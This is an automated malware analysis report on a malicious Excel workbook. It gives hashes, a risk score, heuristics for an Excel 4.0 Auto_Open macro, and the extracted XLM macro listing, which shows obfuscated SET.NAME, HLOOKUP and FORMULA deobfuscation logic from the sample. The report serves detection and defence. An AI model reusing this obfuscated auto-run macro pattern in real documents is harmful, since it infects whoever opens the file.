Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69fd20ecc661c30e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:43:59 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 28a5f912d20af0335f5a580d5954a2ed SHA-1: 9ea806ebbc92d5b73cc296b964e0bde56c750b60 SHA-256: 69fd20ecc661c30e33f62a327c741f729d4c821defae8de2c928e7f981b9e2b4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6678 bytes
SHA-256: ed5e3da5560225b644e6ce9b95180fee3676e4aa078efbc8e502ab1d030eeb43
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hRZfNmxpCq
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F135 
' 0018     21 LABEL : Cell Value, String Constant - BzLgtl len=0 
' 0018     20 LABEL : Cell Value, String Constant - CikWI len=0 
' 0018     21 LABEL : Cell Value, String Constant - cSAZfm len=0 
' 0018     21 LABEL : Cell Value, String Constant - DfLMrr len=0 
' 0018     20 LABEL : Cell Value, String Constant - EUtac len=0 
' 0018     26 LABEL : Cell Value, String Constant - FGajavxjvhj len=0 
' 0018     23 LABEL : Cell Value, String Constant - FQuxzyhx len=0 
' 0018     26 LABEL : Cell Value, String Constant - hrTnrEbWdCn len=0 
' 0018     21 LABEL : Cell Value, String Constant - Imwfdf len=0 
' 0018     26 LABEL : Cell Value, String Constant - LBhvitXSpgf len=0 
' 0018     20 LABEL : Cell Value, String Constant - nhhGX len=0 
' 0018     22 LABEL : Cell Value, String Constant - nLUEBxT len=0 
' 0018     21 LABEL : Cell Value, String Constant - QoSFQs len=0 
' 0018     25 LABEL : Cell Value, String Constant - RgcZOqGSiE len=0 
' 0018     27 LABEL : Cell Value, String Constant - UBtgGHZawUlw len=0 
' 0018     26 LABEL : Cell Value, String Constant - WAAzcLhAQuG len=0 
' 0018     27 LABEL : Cell Value, String Constant - yCumVhcbyPtn len=0 
' 0018     24 LABEL : Cell Value, String Constant - yVnwnXIxU len=0 
' 0018     21 LABEL : Cell Value, String Constant - yYdUtP len=0 
' 0018     21 LABEL : Cell Value, String Constant - zgCubu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hRZfNmxpCq,F41,"SET.NAME("DfLMrr",VALUE("0"))",""
'  hRZfNmxpCq,F45,"SET.NAME("hrTnrEbWdCn",DfLMrr)",""
'  hRZfNmxpCq,F49,"SET.NAME("Imwfdf",DfLMrr)",""
'  hRZfNmxpCq,F54,"SET.NAME("yCumVhcbyPtn",COUNTA(CikWI))",""
'  hRZfNmxpCq,F57,"SET.NAME("EUtac",COUNTA(QoSFQs))",""
'  hRZfNmxpCq,F61,[],""
'  hRZfNmxpCq,F63,"SET.NAME("LBhvitXSpgf","")",""
'  hRZfNmxpCq,F66,"hrTnrEbWdCn",""
'  hRZfNmxpCq,F71,"SET.NAME("yVnwnXIxU",HLOOKUP("*",CikWI,hrTnrEbWdCn,FALSE))",""
'  hRZfNmxpCq,F75,"RgcZOqGSiE",""
'  hRZfNmxpCq,F77,"SET.NAME("zgCubu",DfLMrr)",""
'  hRZfNmxpCq,F81,[],""
'  hRZfNmxpCq,F85,"zgCubu",""
'  hRZfNmxpCq,F89,"BzLgtl",""
'  hRZfNmxpCq,F93,"FQuxzyhx",""
'  hRZfNmxpCq,F98,"nLUEBxT",""
'  hRZfNmxpCq,F102,"SET.NAME("UBtgGHZawUlw",VALUE(HLOOKUP("*",QoSFQs,nLUEBxT,FALSE)))",""
'  hRZfNmxpCq,F105,"WAAzcLhAQuG",""
'  hRZfNmxpCq,F109,"LBhvitXSpgf",""
'  hRZfNmxpCq,F114,"Imwfdf",""
'  hRZfNmxpCq,F118,NEXT(),""
'  hRZfNmxpCq,F121,"nhhGX",""
'  hRZfNmxpCq,F123,"SET.NAME("f",INT(T(FORMULA(T(LBhvitXSpgf)&"",""&T(nhhGX)))))",""
'  hRZfNmxpCq,F128,"FGajavxjvhj",""
'  hRZfNmxpCq,F130,NEXT(),""
'  hRZfNmxpCq,F133,RETURN(),""
'  hRZfNmxpCq,F163,"SET.NAME("yYdUtP",F41)",""
'  hRZfNmxpCq,F167,"CikWI",""
'  hRZfNmxpCq,F171,"SET.NAME("QoSFQs",R67C13)",""
'  hRZfNmxpCq,F175,"SET.NAME("FGajavxjvhj",183)",""
'  hRZfNmxpCq,F177,"SET.NAME("cSAZfm",6)",""
'  hRZfNmxpCq,F182,yYdUtP(),""
'  hRZfNmxpCq,F183,HALT(),""

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